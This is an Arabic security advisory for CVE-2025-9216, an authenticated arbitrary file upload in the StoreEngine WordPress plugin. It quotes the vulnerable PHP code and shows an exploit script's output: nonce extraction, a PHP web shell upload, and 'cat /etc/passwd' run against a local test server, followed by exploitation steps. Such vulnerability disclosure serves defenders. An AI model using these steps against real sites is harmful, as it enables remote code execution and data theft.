
StoreEngine – إضافة تجارة إلكترونية قوية لووردبريس للمدفوعات والعضويات والعمولات والمبيعات والمزيد <= 1.4.0 - رفع ملفات تعسفي لمستخدم موثّق (مشترك+)
يحتوي ملحق StoreEngine على ثغرة في ميزة استيراد/تصدير CSV تسمح لأي مستخدم مصادَق عليه (مشترك، مؤلف، محرر، إلخ) برفع ملفات تعسفية والحصول على تنفيذ تعليمات برمجية عن بُعد. تنبع الثغرة من خللين أمنيين: (1) نقطة نهاية استيراد CSV تفتقر إلى فحوصات التحقق من صحة الملفات وفحوصات الصلاحيات، وتعتمد فقط على التحقق من النانس (nonce) للأمان، و(2) النانس storeengine_nonce مكشوف لجميع مستخدمي الواجهة الأمامية عبر جافاسكريبت الملحق. هذا المزيج يسمح لأي مستخدم مصادَق عليه باستخراج النانس من صفحات الواجهة الأمامية واستخدامه لرفع قذائف ويب PHP عبر نقطة النهاية storeengine_csv/import، مما يمنح فعليًا المستخدمين من مستوى مشترك فأعلى القدرة على تنفيذ تعليمات برمجية عشوائية على الخادم.
omg.php.python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
استدعاء إجراء AJAX storeengine_csv/import ينفذ الدالة import() في السطر 51 من /wp-content/plugins/storeengine/addons/csv/ajax/import.php، والتي تفتقر إلى فحوصات الصلاحيات المناسبة والتحقق من نوع الملف:
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
الدالة تستخدم فقط sanitize_file_name() لتنظيف اسم الملف ولكنها لا تقوم بأي تحقق من نوع الملف أو فحوصات صلاحيات. هذا يسمح برفع أي نوع ملفات، بما في ذلك ملفات PHP التي يمكن لخادم الويب تنفيذها.
النانس storeengine_nonce مكشوف لجميع مستخدمي الواجهة الأمامية عبر جافاسكريبت الملحق. يحدث هذا في دالة _get_script_data() في السطر 279 من /wp-content/plugins/storeengine/includes/assets.php:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
هذا النانس يتم تمريره بعد ذلك إلى جافاسكريبت الواجهة الأمامية عبر دالة frontend_scripts() في السطر 120:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
يتم التحقق من النانس في دالة AbstractRequestHandler::check_permission() في السطر 510 من /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
هذا المزيج يسمح لأي مستخدم مصادَق عليه برفع ملفات تعسفية، بما في ذلك قذائف ويب PHP لتنفيذ التعليمات البرمجية عن بُعد.
POST إلى /wp-admin/admin-ajax.php الذي يستدعي إجراء storeengine_csv/import.{"success":true,"data":{"filename":"shell.php"}}.https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php ونفّذ التعليمات البرمجية.